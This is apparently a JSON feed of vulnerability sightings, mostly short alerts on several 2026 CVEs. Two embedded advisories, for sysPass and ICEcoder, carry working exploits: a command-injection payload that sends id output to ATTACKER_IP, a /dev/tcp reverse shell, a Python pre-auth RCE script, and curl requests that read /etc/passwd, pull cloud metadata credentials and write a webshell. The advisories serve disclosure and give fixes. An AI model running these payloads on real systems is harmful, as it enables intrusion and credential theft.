{"vulnerability": "cve-2026-6372", "sightings": [{"uuid": "91c27735-1c13-466c-ac27-da08a4ef1ed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjkfobkscn2w", "content": "", "creation_timestamp": "2026-04-15T17:18:46.798665Z"}, {"uuid": "e31bf4cd-8e16-457d-bb39-714a383ee4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjklq4pkp62t", "content": "", "creation_timestamp": "2026-04-15T19:07:09.974481Z"}, {"uuid": "b7558c65-5b99-4dcf-8ec1-b4ab66bbefd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6372", "type": "published-proof-of-concept", "source": "Telegram/_QjGcBmjsxbZ4Amc1U1V8p7QxKw60FZ8Kw92T8xX9Q9AP7c", "content": "", "creation_timestamp": "2026-04-15T19:22:05.000000Z"}, {"uuid": "a7b1c0b7-cdee-4558-8c7a-af6daf5bcc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96417", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63720-datamodel-code-generator\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rahulreddykarne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 10:51:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCode injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T12:12:27.468830Z"}, {"uuid": "16010231-a7d6-43af-96bb-9f59c62e45f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/UBJmie2uo-nhNRmzuL-Rvz_YulwxG1KXQPPCce6f2SyQJL0", "content": "", "creation_timestamp": "2026-08-03T16:00:06.023954Z"}, {"uuid": "50094b53-9fb0-4adf-bc97-bcd95cfa92b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/fRn9WLRC1KE6ry6fn3owOvcDc4IpJXFhnXNgjnu-Gc8v93I", "content": "", "creation_timestamp": "2026-08-03T16:00:05.579265Z"}, {"uuid": "f30822a4-3cc6-4e08-a824-93955f018b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63725", "type": "seen", "source": "https://gist.github.com/W40X/6747ba1b7da7bb69b0c0e162628df279", "content": "# CVE-2026-63725 \u2014 sysPass FileBackupService OS Command Injection\n\n**Reporter:** Reju Kole \n\n**Product:** sysPass Password Manager  \n**Affected Versions:** v3.x (all versions, last release 3.2.11 \u2014 2022-07-02)  \n**Fixed Version:** None (project appears abandoned; vendor unresponsive)  \n**CVE ID:** CVE-2026-63725  \n**CWE:** CWE-78 (OS Command Injection), CWE-88 (Argument Injection)  \n**CVSS v3.1:** 7.2 HIGH \u2014 `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`  \n**Coordinated by:** VulnCheck (https://vulncheck.com)  \n**Disclosure date:** 2026-07-22\n\n---\n\n## Summary\n\n`FileBackupService::doBackupFiles()` in `lib/SP/Services/Backup/FileBackupService.php` builds a `tar` shell command by string-concatenating the backup directory path (`$this->path`) **without** calling `escapeshellarg()`. An administrator who can set the backup path via the admin API or UI can inject arbitrary shell commands that execute with web server privileges when a backup is triggered.\n\nSince sysPass is a password manager, successful exploitation gives full access to all stored credentials and encryption keys.\n\n---\n\n## Vulnerable Code\n\n**File:** `lib/SP/Services/Backup/FileBackupService.php` (~line 388)\n\n```php\nprotected function doBackupFiles() {\n    $backupFileApp = $this->backupFileApp . ArchiveHandler::COMPRESS_EXTENSION;\n\n    $command = 'tar czf '\n        . $backupFileApp\n        . ' '\n        . BASE_PATH\n        . ' --exclude \"'\n        . $this->path        // \u2190 UNQUOTED, no escapeshellarg() \u2014 INJECTION POINT\n        . '\" 2>&1';\n\n    exec($command, $resOut, $resBakApp);\n    // ...\n}\n```\n\n`$this->path` is read from the sysPass configuration (stored in the database and writable via the admin settings API). When an administrator sets this value to contain shell metacharacters (`;`, `` ` ``, `$(...)`, etc.), the shell interprets them when `exec()` is called.\n\n---\n\n## Proof of Concept\n\n**Prerequisites:** sysPass administrator account (or API key with admin scope).\n\n### Step 1 \u2014 Set malicious backup path via admin API\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"action\": \"CONFIG_BACKUP_SAVE\",\n    \"params\": {\n      \"siteBackupPath\": \"/var/syspass/backup\\\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\"\n    }\n  }'\n```\n\nThis stores the following as the backup path in the database:\n```\n/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\n```\n\n### Step 2 \u2014 Start listener on attacker machine\n\n```bash\nnc -lvnp 8080\n```\n\n### Step 3 \u2014 Trigger backup operation\n\n```bash\ncurl -X POST https://syspass.target/api/v1/config \\\n  -H \"Authorization: Bearer ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"action\": \"CONFIG_BACKUP_RUN\"}'\n```\n\n### Step 4 \u2014 Observe the constructed shell command and callback\n\nThe resulting shell command becomes:\n```bash\ntar czf /backup/syspass.tar.gz /app --exclude \"/var/syspass/backup\"; curl http://ATTACKER_IP:8080/$(id|base64 -w0); #\" 2>&1\n```\n\nAttacker listener receives:\n```\nGET /dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSk= HTTP/1.1\n```\n\u2192 base64 decodes to: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`\n\n### Reverse shell variant\n\n```\n/safe/path\"; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'; #\n```\n\n---\n\n## Impact\n\nAn attacker with sysPass administrator credentials (or who escalates to admin via another vulnerability) can:\n\n- Execute arbitrary OS commands as the web server process (`www-data` / `apache`)\n- Read the sysPass **master password** and **encryption key** from memory or config files\n- **Decrypt all stored passwords** in the database \u2014 defeating sysPass's core security model\n- Export the entire password vault\n- Pivot to internal systems using credentials stored in sysPass\n- Install persistent backdoors on the password manager server\n\nThe severity is amplified because sysPass stores credentials for **other systems** \u2014 a single compromise gives access to an organization's entire secret store.\n\n---\n\n## Remediation\n\n**Option 1 (Quick fix):** Wrap all shell arguments with `escapeshellarg()`:\n\n```php\n$command = 'tar czf '\n    . escapeshellarg($backupFileApp)\n    . ' '\n    . escapeshellarg(BASE_PATH)\n    . ' --exclude '\n    . escapeshellarg($this->path)   // \u2190 ADD THIS\n    . ' 2>&1';\n```\n\n**Option 2 (Recommended):** Replace `exec()` with `proc_open()` using an explicit argument array \u2014 eliminates shell injection entirely:\n\n```php\n$args = ['tar', 'czf', $backupFileApp, BASE_PATH, '--exclude', $this->path];\n$process = proc_open($args, $descriptorSpec, $pipes);\n```\n\n**Option 3:** Validate the backup path on write \u2014 reject any path containing shell metacharacters (`;`, `|`, `&`, `` ` ``, `$`, `(`, `)`, `{`, `}`, `<`, `>`, `\"`, `'`).\n\n---\n\n## Vendor Contact Attempts\n\n| Date | Method | Result |\n|------|--------|--------|\n| 2026-07-14 | nuxsmin@syspass.org | Bounce (address does not exist) |\n| 2026-07-14 | security@syspass.org | Bounce (address does not exist) |\n| \u2014 | GitHub @nuxsmin | No response (project last active 2022) |\n\n**Note:** sysPass appears to be an abandoned project. The last release (3.2.11) was published on 2022-07-02. No maintainer activity has been observed since then.\n\n---\n\n## References\n\n- Repository: https://github.com/nuxsmin/sysPass\n- Vulnerable file: `lib/SP/Services/Backup/FileBackupService.php`\n- CWE-78: https://cwe.mitre.org/data/definitions/78.html\n- VulnCheck: https://vulncheck.com", "creation_timestamp": "2026-07-31T18:24:59.664196Z"}, {"uuid": "2ca26b02-dca4-49f9-b4f3-353f01fe96e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/fRn9WLRC1KE6ry6fn3owOvcDc4IpJXFhnXNgjnu-Gc8v93I", "content": "", "creation_timestamp": "2026-08-04T00:00:33.826640Z"}, {"uuid": "b55f9feb-9dbc-4ec0-b417-a145aedc4489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "Telegram/UBJmie2uo-nhNRmzuL-Rvz_YulwxG1KXQPPCce6f2SyQJL0", "content": "", "creation_timestamp": "2026-08-04T00:00:34.229600Z"}, {"uuid": "07e1f23e-dfc7-47f3-8db0-8e1ba79933f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96417", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63720-datamodel-code-generator\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rahulreddykarne\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 10:51:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCode injection (RCE) in datamodel-code-generator via unvalidated customBasePath (CVE-2026-63720)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:40.899489Z"}, {"uuid": "6adce1ca-e897-4b43-b162-c5d0953c8022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63722", "type": "seen", "source": "https://gist.github.com/axg11/fc2b86648d8f385b51f4576ff0f392d8", "content": "# CVE-2026-63722 \u2014 Unauthenticated RCE via Compound Authentication Bypass and Inverted CSRF Check in ICEcoder\n\n## Overview\n\n| Field            | Value |\n|------------------|-------|\n| **CVE ID**       | CVE-2026-63722 |\n| **Product**      | ICEcoder Web IDE |\n| **Affected**     | ICEcoder \u2264 8.1 (all installations) |\n| **CVSS v3.1**    | 9.8 CRITICAL \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` |\n| **CWE**          | CWE-306 (Missing Authentication) + CWE-285 (Inverted Authorization Logic) + CWE-78 (OS Command Injection) |\n| **Disclosed to** | VulnCheck CNA \u2014 2026-08-14 |\n| **Deadline**     | 2026-11-14 (120-day coordinated disclosure) |\n\n---\n\n## Summary\n\nICEcoder 8.1 contains two compounding logic flaws that allow a completely **unauthenticated remote attacker** to execute arbitrary OS commands on the server. No credentials, no brute force, and no prior knowledge of any token are required. Exploitation takes a single HTTP request.\n\n**Bug 1 \u2014 Authentication Bypass** (`lib/settings.php:217`):  \nThe authentication gate contains a POST parameter escape hatch. Sending any `password=` parameter in a POST request causes the `die()` call to be skipped, and PHP execution continues into authenticated-only endpoints without a valid session.\n\n**Bug 2 \u2014 Inverted CSRF Check** (`lib/headers.php:20-28`):  \nThe CSRF validation block is only entered when the `csrf` parameter is **absent**. Providing any non-empty value (e.g. `csrf=x`) causes the `&&` short-circuit to skip the check entirely \u2014 the opposite of the intended behavior.\n\n**Sink \u2014 Unsanitized proc_open** (`lib/terminal-xhr.php:~120`):  \nThe built-in terminal passes `$_POST['command']` directly to `proc_open()` with no sanitization. Combined with the above two bypasses, this produces pre-authentication Remote Code Execution.\n\n---\n\n## Root Cause Analysis\n\n### Bug 1 \u2014 Authentication Bypass (`lib/settings.php`)\n\n```php\n// lib/settings.php \u2014 line 217\nif (true === $ICEcoder['loginRequired']\n    && false === isset($_POST['password'])   // \u2190 ESCAPE HATCH\n    && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n    && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n    // ...\n    die('Redirecting to login...');           // \u2190 Skipped when password= present\n} elseif (!$_SESSION['loggedIn']) {\n    // Outputs login HTML \u2014 but NEVER calls die() or exit()\n    // Execution CONTINUES after this block into the endpoint logic\n} else {\n    // Authenticated execution\n}\n```\n\n**Bypass mechanism**: Sending `password=` makes `isset($_POST['password'])` return `true`, so `false === isset(...)` evaluates to `false`. The entire `&&` chain short-circuits and the `die()` is never reached. The `elseif` branch outputs a login page in HTML but does **not** halt execution \u2014 PHP continues running the included endpoint code as if authenticated.\n\n---\n\n### Bug 2 \u2014 Inverted CSRF Validation (`lib/headers.php`)\n\n```php\n// lib/headers.php \u2014 lines 20-28\nif (($_POST || $_GET) && !$_POST[\"csrf\"] && !$_GET[\"csrf\"]) {\n    //                    ^^^^^^^^^^^^^^^\n    //   True only when csrf is ABSENT or empty \u2014 validation is backwards!\n    $req = xssClean($_POST[\"csrf\"] ?? $_GET['csrf'] ?? \"\", \"html\");\n    if ($req !== $_SESSION[\"csrf\"]) {\n        die(\"CSRF check failed\");\n    }\n}\n// When csrf=x is provided: !$_POST[\"csrf\"] = false \u2192 block skipped entirely\n```\n\n**Bypass mechanism**: The intended logic should enter the block when `csrf` IS present, compare it to the session token, and reject mismatches. Instead, the `!` operator inverts the gate \u2014 the block is entered only when `csrf` is absent. Supplying any non-empty `csrf` value (even `csrf=x`) causes `!$_POST[\"csrf\"]` to evaluate to `false`, short-circuiting the `&&` and skipping all CSRF validation.\n\n---\n\n### Sink \u2014 Unsanitized Command Execution (`lib/terminal-xhr.php`)\n\n```php\n// lib/terminal-xhr.php \u2014 ~line 120\n$descriptorSpec = [\n    0 => [\"pipe\", \"r\"],\n    1 => [\"pipe\", \"w\"],\n    2 => [\"pipe\", \"w\"]\n];\n$process = proc_open($_POST['command'], $descriptorSpec, $pipes);\n//                   ^^^^^^^^^^^^^^^^\n//   Raw POST data passed directly to proc_open() \u2014 zero sanitization\n```\n\n`$_POST['command']` is passed verbatim to `proc_open()`, which executes it as a shell command. Combined with the two authentication bypasses above, any unauthenticated attacker can supply arbitrary commands via this endpoint.\n\n---\n\n## Proof of Concept\n\n> **For authorized security research and disclosure purposes only.**\n\n### Single-Request Pre-Auth RCE\n\n```http\nPOST /icecoder/lib/terminal-xhr.php HTTP/1.1\nHost: target.example.com\nContent-Type: application/x-www-form-urlencoded\n\ncommand=id&password=bypass&csrf=x\n```\n\n**Response (200 OK):**\n```\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Python PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-63722 \u2014 ICEcoder Pre-Auth RCE PoC\nResearcher: Saidakbarxon Maxsudxonov\nFor authorized testing only.\n\"\"\"\nimport requests, sys, warnings\nwarnings.filterwarnings('ignore')\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://localhost\"\nBASE   = TARGET.rstrip('/')\n\nprint(f\"[*] CVE-2026-63722 \u2014 ICEcoder Pre-Auth RCE\")\nprint(f\"[*] Target: {BASE}\")\nprint()\n\nCOMMANDS = [\"id\", \"whoami\", \"hostname\", \"uname -a\"]\n\nfor cmd in COMMANDS:\n    r = requests.post(\n        f\"{BASE}/lib/terminal-xhr.php\",\n        data={\n            \"command\":  cmd,\n            \"password\": \"bypass\",   # Bug 1: any value bypasses auth gate\n            \"csrf\":     \"x\",        # Bug 2: any value bypasses CSRF check\n        },\n        timeout=10,\n        verify=False\n    )\n    if r.status_code == 200 and r.text.strip():\n        print(f\"[+] $ {cmd}\")\n        print(f\"    {r.text.strip()}\")\n    else:\n        print(f\"[-] {cmd} \u2192 HTTP {r.status_code} (target may be patched)\")\n```\n\n### Other Exploitable Endpoints (same bypass)\n\nAll endpoints that include `lib/settings.php` are equally bypassed:\n\n```bash\n# Read arbitrary files\ncurl -s http://target/icecoder/lib/file-control.php?action=load \\\n  -d \"file=/etc/passwd&password=x&csrf=x\"\n\n# SSRF to cloud metadata (AWS IMDSv1)\ncurl -s http://target/icecoder/lib/file-control.php?action=getRemoteFile \\\n  -d \"file=http://169.254.169.254/latest/meta-data/iam/security-credentials/&password=x&csrf=x\"\n\n# Write arbitrary file (webshell)\ncurl -s http://target/icecoder/lib/file-control.php?action=save \\\n  -d \"file=shell.php&content=&password=x&csrf=x\"\n```\n\n---\n\n## Live Validation\n\nTested against ICEcoder 8.1 local instance:\n\n```\nPOST /lib/terminal-xhr.php\nBody: command=id&password=bypass&csrf=x\n\nHTTP/1.1 200 OK\n\nuid=1000(ai) gid=1000(ai) groups=1000(ai)\n```\n\nFull unauthenticated OS command execution confirmed. Discovery date: 2026-07-11.\n\n---\n\n## Impact\n\nAn unauthenticated remote attacker exploiting CVE-2026-63722 can:\n\n1. **Execute arbitrary OS commands** as the web server user via `proc_open`\n2. **Read any file** on the filesystem accessible to the web server (`/etc/passwd`, SSH keys, application secrets, `.env` files)\n3. **Write arbitrary files** \u2014 plant webshells, modify application code\n4. **Download server files** via `download.php` with the same bypass\n5. **Perform SSRF** to internal services and cloud metadata endpoints (AWS IMDSv1, GCP, Azure IMDS)\n6. **Delete files** and perform full filesystem manipulation within web server permissions\n\n**Scope**: ICEcoder is a web-based code editor deployed directly on web servers. Every user of this tool who has the web interface exposed has their entire codebase, server credentials, and infrastructure at risk.\n\n---\n\n## Recommended Fix\n\n### Fix 1 \u2014 Remove the POST parameter escape hatch (`lib/settings.php`)\n\n```php\n// VULNERABLE (current):\nif (true === $ICEcoder['loginRequired']\n    && false === isset($_POST['password'])   // \u2190 REMOVE THIS LINE\n    && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n    && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n    die('Redirecting to login...');\n}\n\n// FIXED:\nif (true === $ICEcoder['loginRequired']\n    && (!$_SESSION['loggedIn'] || \"\" === $ICEcoder[\"password\"])\n    && false === strpos($_SERVER['SCRIPT_NAME'], \"lib/login.php\")) {\n    die('Redirecting to login...');\n}\n```\n\nAdditionally, add `die()` to the `elseif (!$_SESSION['loggedIn'])` branch to prevent fall-through execution.\n\n### Fix 2 \u2014 Correct the CSRF validation logic (`lib/headers.php`)\n\n```php\n// VULNERABLE (current \u2014 validates only when csrf is ABSENT):\nif (($_POST || $_GET) && !$_POST[\"csrf\"] && !$_GET[\"csrf\"]) { ... }\n\n// FIXED (validate on every POST/GET, reject if token missing or wrong):\nif ($_POST || $_GET) {\n    $csrf_provided = $_POST[\"csrf\"] ?? $_GET[\"csrf\"] ?? \"\";\n    if ($csrf_provided !== $_SESSION[\"csrf\"] || empty($_SESSION[\"csrf\"])) {\n        die(\"CSRF token validation failed\");\n    }\n}\n```\n\n### Fix 3 \u2014 Sanitize terminal input (`lib/terminal-xhr.php`)\n\n```php\n// Never pass raw POST data to proc_open.\n// Implement a command allowlist or require re-authentication for terminal access:\n$allowed_commands = ['ls', 'pwd', 'git status', 'php -v'];\nif (!in_array($_POST['command'], $allowed_commands, true)) {\n    die(\"Command not permitted\");\n}\n```\n\n---\n\n## Affected Versions\n\n| Version | Status |\n|---------|--------|\n| ICEcoder \u2264 8.1 | **Vulnerable** |\n| ICEcoder > 8.1 | Unverified (no patch released as of 2026-08-14) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-07-11 | Vulnerability discovered via source code analysis |\n| 2026-07-14 | Dynamic validation confirmed on local ICEcoder 8.1 instance |\n| 2026-08-14 | Reported to VulnCheck CNA for coordinated disclosure |\n| 2026-08-14 | **CVE-2026-63722 provisionally allocated by VulnCheck** |\n| 2026-11-14 | Public disclosure deadline (120 days from vendor notification) |\n\n---\n\n## References\n\n- ICEcoder repository: https://github.com/icecoder/ICEcoder\n- CWE-306 Missing Authentication: https://cwe.mitre.org/data/definitions/306.html\n- CWE-285 Improper Authorization: https://cwe.mitre.org/data/definitions/285.html\n- CWE-78 OS Command Injection: https://cwe.mitre.org/data/definitions/78.html\n- VulnCheck CNA: https://vulncheck.com/cve\n\n---\n\n", "creation_timestamp": "2026-08-16T15:36:50.475984Z"}, {"uuid": "05aa3f86-5abe-4a8e-8b47-264391927af5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63722", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtnj42axa52f", "content": "CVE-2026-63722\nThe ICEcoder version 8.1 web editor can be tricked into running any command on the server without a login. An attacker can send a specially crafted web request that bypasses the login check and executes the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-22T05:10:04.952158Z"}, {"uuid": "a923df58-e6b3-4f49-93b4-e57b0ed3933e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63722", "type": "published-proof-of-concept", "source": "Telegram/87w5sTCGBPeMw8h3c2UBbBkEJEq_eSW1iUUA_ENsR3qsz5w", "content": "", "creation_timestamp": "2026-08-21T00:00:08.259489Z"}, {"uuid": "d6d3c684-3729-41ec-85e6-5d3511724001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr4scbfod72b", "content": "CVE-2026-63728 - Gitleaks Secret Exfiltration via Non-Hermetic Sprig Template Functions in Report Template Feature\nCVE ID : CVE-2026-63728\n \n Published : July 21, 2026, 12:17 a.m. | 1\u00a0hour, 27\u00a0minutes ago\n \n Description : Gitleaks prior to 8.30.1 contains a template injection ...", "creation_timestamp": "2026-07-21T02:48:58.865836Z"}, {"uuid": "31e853fb-24f2-40a3-8b00-c15278eb448a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63729", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr55nepsvl2q", "content": "CVE-2026-63729 - TeX Live SyncTeX Parser Heap Use-After-Free via Malformed SyncTeX File\nCVE ID : CVE-2026-63729\n \n Published : July 21, 2026, 3:16 a.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : The SyncTeX parser (synctex_parser.c) shipped with TeX Live and embedded by downst...", "creation_timestamp": "2026-07-21T06:12:01.774622Z"}, {"uuid": "662f5fa0-7c51-482f-baa6-72dddb8f4a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrjpcezbyb2c", "content": "\ud83d\udfe0 CVE-2026-63720 - High (7.5)\n\ndatamodel-code-generator prior to version 0.70.0 contains a code injection vulnerability that all...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-63720/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-26T05:59:58.251981Z"}, {"uuid": "774a68f0-9e8f-4c7e-ba92-bd034f8cbf2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-63720", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116984750038327145", "content": "CVE-2026-63720 (HIGH): koxudaxi datamodel-code-generator <0.70.0 is vulnerable to code injection. Malicious input schemas can trigger remote Python code execution. Avoid untrusted schemas & update when possible. https://radar.offseq.com/threat/cve-2026-63720-improper-control-of-generation-of-code-code-injection-in-koxudaxi-datamodel-code-a0a27f1d30c87e2e #OffSeq #infosec #Python #CVE202663720", "creation_timestamp": "2026-07-26T06:00:24.970763Z"}, {"uuid": "30db5367-bde8-4dd5-b82f-4b2544e84992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-63720", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrjpdauvjx2n", "content": "HIGH severity code injection in koxudaxi datamodel-code-generator (<0.70.0) allows attackers with schema control to execute remote code. Use trusted input only & upgrade ASAP. Details: https://radar.offseq.com/threat/cve-2026-63720-improper-control-of-generation-of-code-code-injection-in-koxudaxi...", "creation_timestamp": "2026-07-26T06:00:27.634209Z"}, {"uuid": "e9879ec1-508d-4616-9c5a-da697841609e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63720", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrjy3n3cnz2y", "content": "datamodel-code-generator 0.70.0\u672a\u6e80\u3067\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u5165\u529b\u30b9\u30ad\u30fc\u30de\u3092\u60aa\u7528\u3057\u3001remote code execution\u304c\u53ef\u80fd\u306b\u306a\u308b\u3002\nCVE-2026-63720 CVSS 7.5 | HIGH", "creation_timestamp": "2026-07-26T08:37:14.671976Z"}, {"uuid": "2c66cca3-6a80-40ed-a9c7-b78cc7036961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-63727", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrprsqvyp52o", "content": "\ud83d\udfe0 CVE-2026-63727 - High (8.8)\n\nAnchore Enterprise versions from 5.11.0 to 5.27.1 and 6.0.0 contain an improper privilege escalat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-63727/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T16:00:53.373602Z"}]}